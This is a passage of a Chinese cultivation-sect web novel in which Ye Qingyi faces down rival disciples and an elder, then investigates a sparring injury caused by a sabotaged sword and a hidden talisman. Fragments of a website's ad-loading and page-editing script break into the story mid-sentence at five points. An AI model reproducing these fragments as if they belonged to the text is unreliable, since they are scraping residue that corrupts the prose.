这时凌雪瑶忽然起身打算离开,走到一半像是想起什么似的,转过身:“叶清漪,一会儿机灵点,场上的师兄师姐们有什么需要的,记得第一时间上去帮忙听到没?” 叶清漪睨了凌雪瑶一眼,还没来得及说什么,又听到身后的连喜叫她:“叶师妹,我有点事情想跟你说,我……” 顾长风和泽成走后,连喜有好几次都想跟叶清漪说话,但是叶清漪一直刻意不去看他,导致他一直找不到合适的时机,这会儿趁着试炼间隙,终于找到机会和叶清漪说话,不想又被凌雪瑶打断。 “连师兄,你有什么事晚点再说,叶清漪还要帮忙照看试炼的情况,应该没空和师兄闲话了。”凌雪瑶似是看连喜格外不顺眼,说话也一点不客气,丝毫没有将连喜当作师兄看待。 叶清漪双手交叠在膝盖上,身子微微前倾,懒懒抬头看向凌雪瑶:“我什么时候说过要帮你?” 凌雪瑶瞪大了眼,一脸不敢置信。 不等她说什么,南宫君霖就已经先一步说道:“叶清漪你这是什么态度?都是同门,让你帮个忙怎么了?” 叶清漪坐直身子,看也不看她俩:“不好意思,帮不了。” 连喜又在另一边挨过来:“叶师妹,你听我说……” 南宫君霖又直接打断了他:“连师兄,你给评评理,我和凌师妹有事要走开一会儿,怕师兄们有什么事找不到人,让叶清漪帮忙照看一下她都不愿意,同门之间不就应该互相帮助吗?” “这……”连喜一时不知该说什么。 叶清漪听完这番言论只觉得好笑,从前也是这般,那时她心里知道她们说的很有问题,但又不知如何反驳,最后干脆出面帮忙算了,没想到自此后越来越多的人闻腥而至,大事小事都以帮忙的名义使唤叶清漪,叶清漪一次没有拒绝,后面就更难拒绝了,如果她不愿帮忙,她们就会说她如今当了大师姐,身份尊贵了,也不搭理同门了,一点小忙都不愿意帮,如此这般,不知不觉间,叶清漪已经成了她们使唤得最顺手的人了,非但没有感念叶清漪的好处,还觉得这是叶清漪活该的,谁让她自己不拒绝,怪不得别人! 原本叶清漪也是打算不理她们,便作罢了,不曾想她二人不仅不适可而止,还一度纠缠,叶清漪自然也不会就这么轻易地作罢。 “互、相、帮、助,”叶清漪别有意味地重复了这几个字,“说得对,我觉得也应该互相帮助。” 凌雪瑶和南宫君霖闻言还面露喜色,以为叶清漪要答应了。 结果叶清漪不仅没动,还指了指自己的腿:“不过很可惜,我今天腿脚不太舒服,恐怕没办法走动了,我也很想帮两位,要不这样,你们帮我捶捶腿?兴许我腿脚利索了还能替你们跑上两回。” 凌雪瑶脸都气绿了。 南宫君霖更是作势要踹叶清漪的腿:“口说无凭,我先帮你试试你的腿是不是不舒服!” 说着便铆足了劲想给叶清漪的腿来上一下。 说时迟那时快,南宫的腿即将落下的瞬间,叶清漪猛地抽回腿,南宫最后用力地踩在凌云广场的青石板上,脚底板震得生疼。 “砰——”地一声,所有人都听到了,纷纷倒吸一口凉气,叶清漪和连喜也都皱着一张脸,看着都疼。 南宫被震得倒在地上,抱着自己的腿咿呀乱叫,凌雪瑶在旁慌乱地查看,场面一度非常失控。 叶清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 漪一脸歉意,关切不已:“没事吧,怎么这么用力,你说我也不知道怎么了,这腿脚一直不便,偏就刚才忽然有了力气准备活动一下,哪晓得南宫师妹你正准备给我一脚呢!都怪我,要是我挨了这一脚,南宫师妹也不至于如此!” 言语间颇为惋惜。 南宫君霖抱着腿倒在地上,气得连连指着叶清漪:“你……你……” 半晌说不出个完整话来。 一旁几位师兄弟也都围了过来查看情况。 凌雪瑶一见如此,气得指着叶清漪骂骂咧咧:“叶清漪,你!你就是故意的!” 叶清漪也不否认:“我的确是故意躲开的,也是奇了,我不知为何忽然这么敏捷,说到底也是她自食恶果,还怪得了别人?” 围观的弟子们不明所以,窃窃私语起来。 凌雪瑶更是气闷,搜肠刮肚想说辞,非要将一切怪到叶清漪头上。 “叶清漪你残害同门,居心叵测!” “我也没有啊!” “你今天敢对同门下手,明天保不齐就敢对付掌门和长老们!” “什么乱七八糟的,你脑子也被踢了?” “你,你……” 不管凌雪瑶说什么,都得不到想要的反应,最后只有气急败坏地指着叶清漪。 连喜在旁更是一句话也不曾说。 凌雪瑶被叶清漪傲慢的态度激怒,干脆也不想什么冠冕堂皇的理由了,直接扑了上去:“叶清漪我打死你!!!” 连喜和唐旖柔一左一右赶紧上前将凌雪瑶拉开! 凌雪瑶人被架着,还不忘指着叶清漪胡乱骂着。 叶清漪也不甘示弱,言语挑衅着凌雪瑶,主打一个不怕把事情闹大。 最后唐旖柔实在看不过去了,一脱手,也不拦凌雪瑶了,大喊:“好了!你们两个有完没完!现在当务之急难道不是送南宫去同心堂诊治吗?” 此言一出,凌雪瑶终于消停了,叶清漪也暂时不故意刺激凌雪瑶了,南宫君霖又适时发出几声哀嚎,最后几个围观的师弟架着南宫并着凌雪瑶一同去了同心堂,唐旖柔紧随其后,走之前还不满地回头看了眼叶清漪。 叶清漪眯着眼看着一行人就此离去,嘴角玩味的笑意顿时荡然无存,眼底只有无尽的漠然。 32. 第三十二章 一场闹剧终于结束,无关人等陆续离开,场上也继续进行下一轮比试。 连喜在叶清漪边上几次三番欲言又止,可看叶清漪这般,一时又不敢贸然开口。 叶清漪见他这般扭捏,也有些不忍,叹了口气,道:“连师兄有事,不妨直言。” 连喜松了口气,却没有立即开口,而是先从边上拿出一个东西递给叶清漪。 叶清漪低头,发现是个素色的香囊,正是当日被南宫君霖打在草丛里那个归墟草香囊。 香囊是用亚麻料子做的,还给连喜那个香囊上,她绣了一朵白色莲花,自己后做的这个没来得及绣花样,是全素色的,叶清漪一眼就认出来连喜手里拿的是自己那个。 “香囊我捡回来了,重新洗过晒干了,也装了新的归墟草进去,是仙门培育的,药性比野生的要强许多。”连喜词不达意地说着,局促地拿着香囊。 叶清漪将他这副模样尽数收在眼底,又见他腰间空荡,便问:“你那个怎么不戴了?” 连喜低头看了一眼:“未免发生上次的事,香囊我便收起来了。” 其实看到连喜拿出香囊的瞬间,叶清漪气已经消了一大半了,但存了心想逗下连喜,便故意不接话。 连喜见状急切地解释起来:“还有之前的事,真的是误会,我和凌师妹根本没什么,也不知道谣言是从何处起的,你知道的,新入门的弟子们课业不多,闲来无事便喜欢传些闲话。” “都已经人尽皆知了,还戴着香囊作什么?”叶清漪嘴上说着,却伸手将香囊接了过来。 连喜眉头稍稍舒展,觑着叶清漪的脸色,小心翼翼地道:“归墟草的作用又不止一样,就算不用掩盖真气,也可以拿来驱赶蚊虫,或聊以装饰……哪怕作个纪念也是好的……” 连喜说到最后声音减弱,像是有些羞赧。 叶清漪嘴角噙着笑意,不置可否,不过二人的关系总算缓和了。 叶清漪摩挲着香囊,感觉背面有些凹凸的纹理,翻过来一看,另一面竟绣了几片绿色的竹叶,配着素色的布料,倒有种质朴的美,只是那竹叶绣的实在难以恭维。 “这是?”叶清漪将那花样呈上。 连喜挠挠头:“我尽力了,原本以为绣花和缝补衣料一般简单,谁承想看着简单的花样绣起来竟然这么难,就着还是我花了两个晚上做的。你要是嫌弃就拆了罢!” 叶清漪也不好打击连喜的积极性,强忍笑意,搜肠刮肚半晌,只想到句:“你还真是……挺勇于尝试的……” 连喜薄唇轻抿,似咽下许多挽尊之语。 “其实不用这么麻烦,你直接用术法化一个不就好了。” “我不想假手于人,还是觉得自己绣的比较有诚意……” 叶清漪颇为动容,不过点点头掩饰过去了。 连喜默了默,又从袖袋里取出一袋点心:“这里是些桃花酥,上次见你爱吃,这次我又多做了些,权当为之前让你带月饼的事情赔罪了。” 叶清漪接过袋子,里面七八个桃花模样的点心散发淡淡清香,隔着纸袋还有些许温热。 “师兄言重了,哪有什么赔不赔罪的,说到底也是我领会错了师兄的意思。” “你还说气话不是!之前她们难为你,可我领了师尊的旨意,不好插手,并非故意袖手旁观,再者你同几位师妹之间的纠纷,也确实不好插手,若因此连累师尊被人指责管教不善,那我可就万死难辞其咎了。” 叶清漪再理解不过了:“身为掌门亲传,一言一行的确都要格外注意,以免落人口实。” “叶师妹似乎对此颇有感触?”连喜敏锐地捕捉到一丝端倪。 叶清漪拿了个桃花酥吃着,指着场上全力斗法的师兄们,囫囵应付着:“想想也知道嘛!内门弟子压力已然如此大,你们这些亲传弟子的压力自是不言而喻。” 连喜点头称是,像是接受了叶清漪的说法:“师妹玲珑心思,是我狭隘了。” 顾长风刚处理好另一边剑法比试的问题,回来就看到叶清漪和连喜有说有笑,神色瞬间黯然,想了想没有上前,而是绕道去了其他试炼项目处查看情况。 这边叶清漪吃了两枚桃花酥,便将剩下的递还给了连喜。 “剩下的你吃吧,我吃的有些干,想去那边喝点水。”广场一侧有供弟子们休憩的地方,备了各式茶水点心,拭汗巾帕,应急药丸…… 连喜接过袋子,眉间有些疑惑:“可是不合胃口?” 叶清漪已经起身,闻言拍了拍他的胳膊:“没有的事,我就单纯吃不下了。” 又扬了扬手里的香囊:“这个香囊我就留着了。” 连喜这才展颜。 叶清漪将香囊收进怀里,转身准备离开。 这时一旁的剑修试炼场上忽然一阵骚动,好些人围了上去,外围一个面生的师兄左右看了看,视线最终落在叶清漪身上:“那个谁!愣着干什么!有师兄被误伤了,还不快点去通知长老!” 这个师兄态度算不上好,叶清漪今天从一开始也就没打算帮任何忙,可隔着人群的缝隙,依稀能看见倒在血泊中的弟子,和一旁慌乱的同门。 “还不快去,聋了是吗?”那位师兄又提高了声调,这会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 儿一旁几位都纷纷看过来,可仍旧没有任何人说要替叶清漪跑一趟。 只有连喜见状站起身:“还是我去吧!我脚程比她快!” 可连喜还没动,人群就传来细碎的议论声。 “哟,这还没进内门了,就勾搭上掌门亲传了,连内门师兄也使唤不动了!” “别乱说,回头人家告到亲传弟子那儿去,可是能直接让掌门将你赶下山呢!” “到底是咱们没本事啊!不比人家有手段,活该跑前跑后受累,也不见哪个师兄替我跑跑腿呢!” “你跟人家能比吗?前脚勾着大师兄,这边又跟二师兄举止亲密,修言长老的女儿都要受她的气呢!我听说啊,修言和戒律长老也都因为她挨了掌门的训诫呢!” “这位师兄怕是也惨了,偏偏使唤上她了!” 师弟师妹中总不乏有人有不合时宜的正义感,当着叶清漪的面毫不顾忌地编排着,一切听起来合理又荒唐。 叶清漪懒得跟她们白费口舌,看着场上受伤的师兄,又回头看了看连喜,想到方才连喜还说他要格外谨言慎行,虽然连喜并不介意,但她不愿连喜因为她而落人口实,更不想连带着云宸也遭人诟病。 使唤她的那位师兄也顾不上他们到底谁去了,人群中有人着急地喊:“快点去请长老和掌门啊!这血根本止不住!” 叶清漪看了看连喜,又看了看倒地的师兄,在连喜走过来之前先一步跑开了。 不管如何,救人要紧! 叶清漪一口气跑出凌云广场,冲下一旁的百级阶梯,之前都是御剑下去,如今没了佩剑,只能一步步走下去。 偏她如今还身量尚小,体内浊气又重,根本走不快,只能干着急。 走到一半遇到一个人落在她面前,叶清漪走得急险些被撞下阶梯,幸得对方拉了她一把,才将她拉回来,避免跌落进一旁的万丈云海。 叶清漪气急,张口就骂:“你这人……” 结果一看是云宸。 叶清漪愣了片刻,才意识到自己还被云宸扶着,吓得差点当场跪下:“多谢掌门!” 确认叶清漪站稳后,云宸这才松了手,又问:“这是怎么了?走得这样急?” 叶清漪将情况简单说明了,云宸立即会意,让叶清漪站到他的紫霄剑上,要带她回去。 叶清漪不想流言愈演愈烈,一开始并不肯,只让云宸先上去,她则原路走回去。 直到云宸说再耽搁下去只会耽误救人,特殊情况不应固守礼法不知变通,叶清漪察觉到云宸可能有点愠怒,连忙答应,与他同乘紫霄剑返回广场。 33. 第三十三章 人,是救下来了的。 云宸亲自救的,当场就止住血了,以云宸如今的修为,处理这种程度的伤势还是绰绰有余的,叶清漪并不担心。 云宸替那弟子简单处理了一下伤口,但是并不能完全将伤口抹去,毕竟如今云宸还没到九重化境。拂尘长老随后赶到,又带了一点丹药给那弟子服下,一通操作下来,那弟子脸上才终于恢复一点血色。 拂尘点点头,看向云宸:“差不多了。”又将那弟子交给一旁的师兄,“送他下去好好将养着吧!” 等那弟子被几人合力抬下去后,和他交手的弟子一直在一旁等着处罚,看起来也很镇定,大概已经惊慌过了。 “怎么起的?”拂尘问云宸,二人也没急着追责。 “斗法难免有失手,该是交手的弟子没控制好力度,斗得急了,一剑划开心口这块,这才血流不止。”云宸比了比自己心口的位置,“还好偏了一些,没有伤及心脉,不过还是失血过多,你回头备些补血的丹药派人给他再送一些,休息月余应该就好了。” 交手的那位站在一旁,嘴唇也有些发白,估计也受了点伤,但还是一直垂首在一旁等候发落,一言不发。 “那这……师兄您看如何处理?”拂尘以眼神示意了一旁的弟子一眼,谨慎地请示云宸。 云宸思忖片刻,走上前,打量了一会儿那弟子,接着径直取下那人手中的佩剑,翻转手腕,轻松将剑背过身后,又查看了对方执剑的手,柔声开口:“你也受伤了吧!” 那人的手已经快握不住剑了,意识也还没完全归位,听到云宸这么说,眼中有些混沌的疑惑,直到在云宸的示意下,他才看到自己执剑之手手腕处有一道细长的伤口,呈半月牙状,而不是直直的一条。 “这伤再深一点,你这只手只怕就废了。”云宸没有说得很直白,只是拍了拍那弟子的肩膀,像是在安抚,“不管怎样,二人对决出现失误,彼此都有责任,暂且没收你的佩剑,先回去养伤吧!随后让拂尘长老在灵药阁给你配一些内服外敷的药,尽快把你的伤养好。” 云宸说着意味深长地点了点那弟子的手腕,对方眼底还是一片疑惑,叶清漪却看清楚了,他那个伤口绝不是佩剑所伤,而是暗器,对方的目的是要断了他的手筋,若失手了,也要让他背上谋害同门的罪名。 叶清漪有些无力地想到,或许就连他伤到对手的失误,也是有心人动了手脚的,她看见云宸收回那人佩剑时,手上暗暗施法将剑上的灵力抹去了。 这样的伎俩,只怕云宸当年也没少见,所以他才没有第一时间发落伤人的弟子。 若是其他人,一见这情形,哪还深想许多,必是第一时间发落了这弟子,轻则戒鞭加身,重则除名,到时只怕他再怎么争辩也是无用了。 如此手段,只怕动手的也不是受伤那位,真正主谋也许根本就没上场,就能连消带打一下除掉两个竞争对手。 看那伤人弟子的神情,或许他到此刻都不知究竟是何人要害他。 弟子们陆续散去,拂尘也要回去灵药阁配药,场上人散的差不多了,顾长风这才连忙上前:“此次都是我的失误,佩剑是我和泽成师弟一个个检查的,却还是出现了意外。” 顾长风也有些想不通,他和泽成刚才已经焦头烂额了好几回了,可没想到真正的难题还在这等着,和这境况相比,那些缺东少西的状况根本不算什么。 泽成见状忙躬身行礼,想上前分辨,云宸抬手制止了,又对顾长风道:“有人有心为之,非你之过。” 顾长风暗暗松了口气,但还是坚持道:“说到底此次试炼大会大小事宜都是弟子全权负责的,如今有师弟险些发生意外,弟子也是难辞其咎。” 云宸摆摆手:“如今也不必追究是谁的责任,且先看看其他地方有无疏漏,再好好查查究竟是何人所为罢!” 顾长风不解:“何人?师尊的意思是?” 云宸转手将那把佩剑交给他:“此剑上有魔气侵袭过的痕迹,握剑之人一旦催动真气,魔气随之激发,侵入灵台,短时间内即可控制持剑之人,之后魔气便随时间消逝,若不仔细查看不会发现。” 连喜也上前查看:“是魔界动的手脚?” “不可能!云仞山有至纯灵气环绕,魔界之人休想踏入半步!”修言带着戒律和一行人姗姗来迟,众弟子纷纷行礼,修言见叶清漪不行礼,又想训斥,不过一想到叶清漪之前在昭明殿的表现,心有余悸,嘴角嗫嚅了两下,终是无视了。 “方才和修言师兄被一些事情绊住了脚步,如何?人没事吧!”戒律第一时间还知道关心下弟子,得知已经妥善处理,这才安下心来。 “依我看,定是门中有弟子私自修炼魔修,并用来对付同门。”修言气势很强,言语间都是不容置喙的语气,几句话下来在场之人大气都不敢出,原本融洽的氛围也变得肃杀起来。 修言十分受用,昭明殿上落的面子终于在此时找回来一点。 人群却在此时爆发一声突兀的冷笑,叶清漪看着修言,带着三分鄙夷三分漫不经心和几丝嘲讽,修言刚恢复一点的良好心态再次溃乱,但他还是强自镇定,摆出长者训诫的姿态瞪着叶清漪:“你笑什么?” 这个叶清漪,上次就出言不逊,如今当着这么多人面,修言笃定她不敢放肆,他只需要像往常对付其他人那般即可。 谁料叶清漪不仅没有退却,甚至含笑走到他前面:“修言长老这副架势,不知道的,还以为您是掌门呢!” “你!!!”修言一口气堵在胸口,偏叶清漪说的又是其他人不敢说的话,也是他一直享受的错觉,如今被当众揭穿,错位的失落和羞辱感双双袭来,但他还顾不上跟这小丫头计较,毕竟日后有的是机会收拾她,如今还是先表明自己的立场。 他第一时间向云宸恭恭敬敬行了个大礼:“师兄明鉴,我都是为了整个门派着想,为了门中弟子的安危……” “安危?长老方才一口咬定门中有弟子修炼魔修可有真凭实据?不想着如何调查,不由分说就将魔气来源归咎到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门中弟子头上,除了引起弟子们的惊慌和互相猜忌之外,我想不到有什么对门派安危有利的地方……” “大胆!长老和师尊说话哪有你插嘴的份?”修言还没发怒,不辞就抢先一步跳出来。 叶清漪根本不搭理他,不辞还想上前来拉叶清漪,顾长风和连喜不约而同一齐轻抬眼皮,斜斜投去两个友好的眼神,不辞抬到一半的脚默默收了回去…… 修言则是诧异地看着叶清漪:“你这小丫头,没看出来你还挺厉害!” 云宸也转头看向她。 叶清漪这会儿气性上来了,哪儿顾得上其他,只知跟修言据理力争,听修言那么说,她假装听不懂话里的意思,还跟修言道起谢来:“谢长老谬赞!” “你……你还真当是夸你呢?”修言气结,片刻后又想到了新的办法,他嗤笑一声,又恢复了气势,“你如此冒进,莫不是这魔气跟你有什么关系?” 叶清漪暗笑,魔气的确跟她有关,不过那是六年后的事情,只是她没想到魔气这么早就出现在云仞山了,当年她不知道,后来修了几年魔修才知道,魔气不会消散,只会游离在各处,并且一缕魔气离开原本的宿主太久,就会自给自足,开始吸取所有能吸取到的邪恶念头和魔修灵力,壮大自己,当时入侵她体内的魔气已经很强了,所以才会连云宸也无法替她压制,可今日见到的魔气还很稀薄。 叶清漪忽然生出一个猜测,今日这魔气并没有消散,而是一直游离在云仞山各处,或者被有心之人藏了起来,六年后用在了她身上。 可对付她犯得着这么大费周章吗? 叶清漪又困惑了。 修言见她不答,以为叶清漪终于吃瘪了,连忙追着下定论:“这么长时间没有否认,看来事实就是如此!来人!” “好了。”云宸淡淡开口打断,“鸿儒,何必跟一个小辈计较!” 修言长老本名凌霜,字鸿儒。 修言见云宸直呼他名字,也顺势服软:“师兄所言极是,我一心担忧门中弟子安危,失了分寸,是我失态了。” 叶清漪还想揭穿修言话里的虚情假意,也被云宸用眼神制止了。 叶清漪气也出的差不多了,目的也达到了,自然乖乖闭嘴。 接着云宸让顾长风和泽成按照之前说好的安排下去,又让戒律带着修言和那一行人自去安置,他会带着连喜亲自调查魔气的来源。几句话就控制住了局面,一干人等也都各司其职,井然有序自去忙碌了。 这让一旁的修言脸色有些微妙的变化,他跟云宸行事风格截然不同,云宸又时常闭关,期间也都放任他来打理门派,事后也很少过问他的决定,这两年,云宸闭关更加频繁,有时出来没几天又闭关了,是以云宸没闭关期间,也很少处理事务,顶多处理一些突发事件,像上次叶清漪和凌雪瑶那样;除此之外门中大小事务多是修言在打理了,长此以往,他都快忘了,云宸处理事务看起来是那么的轻而易举。 相比之下,他全力以赴的样子,是那么讽刺。 34. 第三十四章 眼见事情已被云宸处理妥当,围观的人也散得差不多了,叶清漪也准备离开。 她刚打算行礼退下,就被云宸叫住:“你对事情来龙去脉比较了解,便同连喜一起协助我调查此事吧!” 叶清漪行礼的姿势一顿,到嘴的话拐了弯变成:“弟子遵命。” 其实她之前并没有认真看他们斗法,但还是鬼使神差地答应了。 不过她心中也有疑惑,她不确定这个突发事件是前世本来就有的,还是事态因为某种情况悄然改变了。按理说这种程度的骚乱前世她肯定会有所印象,可在她记忆里,只记得第三日她检测出金色资质,除此之外没发生什么重大事件,大会顺利结束。 不过如今很多事已经和前世不一样了,也不确定是偶然还是巧合。 叶清漪按下纷乱的心思,直接当着在场弟子的面和连喜一起跟着云宸走了。 不知为何,她心底暗暗生出一抹快意。 从她随云宸一起御剑回来,看到弟子们表情变化的那刻起,她就忽然想开了,既然这些人说的有鼻子有眼的,与其费力去争辩什么,还不如随心所欲,便是就像他们说的那般又能如何? 她们不是说她跟云宸还有连喜走得很近吗?她就努力站在他们身边!说她为了自己的目的不择手段,欺压同门,那她就作威作福,仗势欺人!不然岂不是白费了她们这么说她。 况且,她又何必疏远云宸,若能早点发现云宸身边哪个人有问题,提前解决,岂不更好? 虽然没有直接关联,但今日之事却意外启发了她。 她决定,带着前世修炼的经验,避开之前走过的弯路,早日突破各个阶段,为之后奠定基础。 如今想来,或许此前归墟草香囊被发现一事,也是冥冥之中在给她指引了方向,她大可以认真修炼给他们看。 就让他们知道她日日去思过堂又如何?如果有人敢捣乱,她会让对方为此追悔莫及,若有人说她仗势欺人,那她不仅要仗势欺人,还要顺带连那人一起收拾! 与其为了多一事不如少一事隐藏行踪,倒不如让他们即使知道她的动向也不敢造次! 不仅如此,她还要积极学习戒律的课程,争取下月考核拿到更高的名次,并在一个月内考到第一名的位置,如果她没记错,如今的第一名应该是唐旖柔。 抱歉啦,她可能要比前世更早地体会到第二名的艰辛了。 哦不,是千年第二的艰辛。 原本她还打算好好跟唐旖柔说说,让她早日远离凌雪瑶,后来一想,那不过是唐旖柔自己的选择,若日后被凌雪瑶出卖,那也是因为她识人不清,与她叶清漪没有半分关系,如今唐旖柔三番四次为了凌雪瑶和她交恶,或许唐旖柔从根本上和凌雪瑶其实是一路人。 如此一想,痛快非常,叶清漪一扫心中郁气,大踏步跟上云宸的脚步,在众弟子诧异的注视下,与连喜并肩穿过整个凌云广场。 她与连喜随云宸一同回到了沧云殿,等着众人回禀各自的进展。 很快顾长风和泽成进来,说已经查过各处了,没发现其他魔气,试炼也按照计划往下进行。 云宸颔首,让他二人先回去照看试炼场,二人应下,顾长风又请示云宸,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柄被动过手脚的佩剑如何安置? 云宸只道剑身已经被他施法净化过了,已和寻常佩剑无异,大可继续使用。 顾长风道了是,离去前还特意看了眼和连喜一起被留下的叶清漪,眼中似乎满是困惑。 过了一会儿,连喜见无人再来回禀,又问云宸:“师尊,既然各处都无异常,那魔气可是从云仞山外潜入的?修言长老虽然有些武断,但他所言倒是事实,这云仞山汇聚天地灵气,至纯至净,那些魔修若要硬闯,轻则折损道行,重则修为全废,他们根本无法靠近半步。” 一旁的叶清漪忽然觉得骨头缝有些不太舒服,下意识搓了搓胳膊。 连喜见状体贴地问:“你冷啊?” 叶清漪挤出一个笑容,表示不冷。 云宸默默看了交谈的二人一眼,接着连喜的话道:“你所言的也未必全无可能,但门中弟子应该无人能修炼魔气吧!” 二人也犯了难。 云宸想了想:“你二人先去看看两位受伤弟子的情况,再了解一下他们的关系,素日可有何纠纷。我先去巡视一圈,看看是否有何处灵气薄弱,让魔界中人伺机闯入也未可知。” 连喜和叶清漪应下,刚准备离开,叶清漪忽然停下:“若我没猜错的话,受伤的两位师兄此刻都在后山吧!我暂时还没法入内。” “这个无妨。” 云宸言罢一抬手,在叶清漪身上施了道术法:“我已在你身上施加了符咒,暂时可如内门弟子一般自由出入后山。” 叶清漪一喜:“多谢掌门!” 这次终于没有喊错。 35. 第三十五章 叶清漪和连喜来到后山弟子寝舍,如今大部分弟子都还在试炼场上,寝舍没什么人,只有那两个受伤弟子在。 两个弟子是隔壁寝舍的,来之前连喜就告诉过她,被伤到手腕的叫梓珩,另一个叫元平,二人都是内门弟子,前阵子为了准备试炼大会,情绪都有些急躁,有过一些摩擦,除此,二人就没其他矛盾了,此前也没过多来往。 叶清漪和连喜到的时候,送他们回来的弟子已经回去了,留了很多丹药,大部分是拂尘的灵药阁那边送来的。 心口受伤的那位躺在卧榻上,双目紧闭,嘴唇还是惨白的,不过总算捡回条命;手腕被暗器所伤的弟子要好很多,正坐在自己寝舍桌前缠着纱布,但他也只是看起来还可以,如果那暗器再偏一点,他那只手就废了,估计也受了很大惊吓。 那位躺着,也问不出什么,二人就在隔壁寝室跟另一位了解情况,从他口中,叶清漪和连喜得知,之前那位叫元平的师弟由于想在试炼大会上取得成绩,自行修炼一套比较激进的功法,可以短时间让剑法威力提升好几倍,可又不得其法,越练越错,屡屡遇到瓶颈,十分苦闷。偏那时候梓珩刚自行领悟了一套剑法,进展比元平顺利,这让元平更加受挫,一日操练刚好轮到他二人过招,元平处处落了下风,梓珩又没忍住多说了几句,让元平放弃修炼激进的功法,脚踏实地才能有实质性进展,元平自是不满,二人便争吵起来。 但之后二人只是有意回避对方,并未发生更大的矛盾,梓珩见劝说无用,也就不再过问元平的事了。 “这么听下来,你的确没理由暗害他啊!”叶清漪不解。 “那元平后来可还有继续修炼那套功法?你们又可知他是从何处得到这套功法的?” 听了连喜的问话,梓珩思忖片刻,摇摇头:“倒是没再听说他接着练了,而且从今日试炼过招来看,他之后应该放弃了,应该是他的修为还无法支撑,那套功法我也看过,虽然有些激进,倒也不是不能练,只是需要很强的心法支撑,元平也是在藏经阁偶然看到的,加上试炼大会越来越近,他之前的修为又停滞了很长时间,便动了练那套功法的心思,但他自身修为还太薄弱,故而只练到第一阶段就遇到问题了。” 三人都陷入了沉默。 叶清漪看着梓珩被纱布缠绕的手腕,心念一动:“你能给我们看看你的伤口吗?” 连喜抬手:“这恐怕不妥吧!” “无妨,已经止住血了。”梓珩说着就开始拆起纱布,将受伤的手腕递给他们看。 叶清漪和连喜便看到宛如一条红色虫子般的伤口,自手掌边缘而下,往拇指方向偏了几分,最后从手腕一侧划出。 “原本应该是这样笔直往下的,”梓珩轻描淡写地比划了一下,“我当时心里莫名有股不祥的感觉,立马侧身扭转了执剑姿势,但我并未看到伤口,元平又伤成那样,我震惊不已,又十分不解,是以一点痛感都没察觉,等掌门提示我的时候,才发现手心已经沾满血了。” 叶清漪:“所以你也没看清暗器的模样?” 梓珩摇摇头。 连喜又道:“不仅如此,现场我也查看了,没有发现掉落的暗器。” 叶清漪看向连喜:“那你认为可能是什么类型的暗器呢?” 连喜沉吟片刻:“能造成这种程度的伤口,又不留痕迹的,要么是冰或水制的暗器,要么是极薄的软制利刃,但被使用者召回了,极强的剑气也可能造成。” 叶清漪缓缓点头,思考着哪种可能性比较大。 “但是这些的可能性都不大,极薄的利刃很难淬炼,水系术法弟子中修炼者极少,若真有,也不会使用这类暗器,太容易暴露自身,剑气若想达到这种效果,修为至少要和几位长老差不多了。” 叶清漪眉头一皱,修言虽然很有问题,但也不会蠢到亲自动手。 这时梓珩提了一句:“据我所知,还有一种。” 叶清漪:“是什么?” “符咒。” 连喜一拍手:“没错,有一些符咒也可以做到,并且丝毫不会留下痕迹。” 梓珩接过话头:“只需在符咒上再施加一道消散咒,就能做到神不知鬼不觉,除了接触过类似符咒的人,其他人根本不会发现,连施法痕迹都不会留下。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叶清漪:“你们是说在剑上动手脚的是符修的人?” 梓珩:“正是。” 连喜:“那你有跟哪位符修的师弟有过矛盾吗?” “我没有,”梓珩眼神笃定,“元平有。” “据我了解,还在前山的时候,元平有一个关系很好的师弟,名叫浩轩。二人刚进山就认识了,之前可以说是焦不离孟,考核时成绩也是不相上下,据说二人还一起约好进了后山一起修炼剑修,但不知因为何事闹翻了,最后浩轩去了符修,元平还是选了剑修。” “符修。”叶清漪说着给了连喜一个眼神,这点和之前的猜测对上了。 “不错。” 梓珩继续道:“所以我才说这伤势有可能是符咒所致。” 连喜又问:“你和那位浩轩师弟可有过节?” 梓珩摇头:“我之前没怎么和他打过交道,后来他选了符修,见的就更少了,不过弟子之间你也知道,一点小事都能传得人尽皆知,他们之前还闹过一阵子,我自然也对事件始末有所耳闻。” 连喜沉默听着,表示已经了解了,事情似乎又失了头绪。 “不过之前剑修符修还有其他几个派系,选了实力较强的一些弟子入后山密林试炼,那次元平也在,后来在密林元平遇险,我刚好救了他,那时还遇到浩轩和另外几个符修师弟,不知此次事件是否跟当初那件事有关系。” 听到这里,叶清漪默默和连喜交换了个眼神。 “行,事情我们也了解的差不多了,你好好养伤,我们还要去向师尊复命。”连喜说着起身,叶清漪也随后站了起来,和连喜一同离开了。 “现在当务之急,是找到元平。”出来后连喜说。 “元平现在会在哪儿?” “不清楚,得找个师弟问问。”连喜举目看向整片寝舍,没见到什么来往的人。 “他们现在大概都在试炼场上吧!” “那我们要过去吗?” 叶清漪沉吟片刻,道:“或许不用这么麻烦。” 叶清漪以眼神示意元平寝舍的方向,扬了扬眉:“连喜,你会隐身术吗?” 36. 第三十六章 大概一炷香后,一个身穿灰色弟子服、身量中等的师弟出现在寝舍入口,师弟看起来略显清瘦,模样还算周正,看上去不像会暗害他人的。 他在寝室门口左顾右盼了一会儿,还用了个符咒查探附近有没有施法痕迹,确认无误后才进去。 连喜告诉叶清漪,来者正是浩轩。等他进去一会儿,叶清漪才跟连喜现了身进去。 浩轩正背对着门口站在元平的床前,看不到他此刻的表情。 听到有人进来,原本浩轩还有些诧异,一看是连喜,瞬间明了:“原来是二师兄,难怪我刚才用符咒也没查探到附近有灵力波动。” “你是来看元平的?”连喜看了眼卧榻上,“元平如今还昏迷着,幸得师尊极力救治,好歹命是保住了,只是,日后还能不能修炼,恐怕还要等他醒了之后才能知道。” 浩轩没有说话,只转头看着元平,过了会儿终于开口:“他什么时候能醒?” 连喜:“快的话两三日,慢的话就不一定了。” 叶清漪:“浩轩,你们之间到底发生了什么?梓珩的剑是不是你动的手脚?” 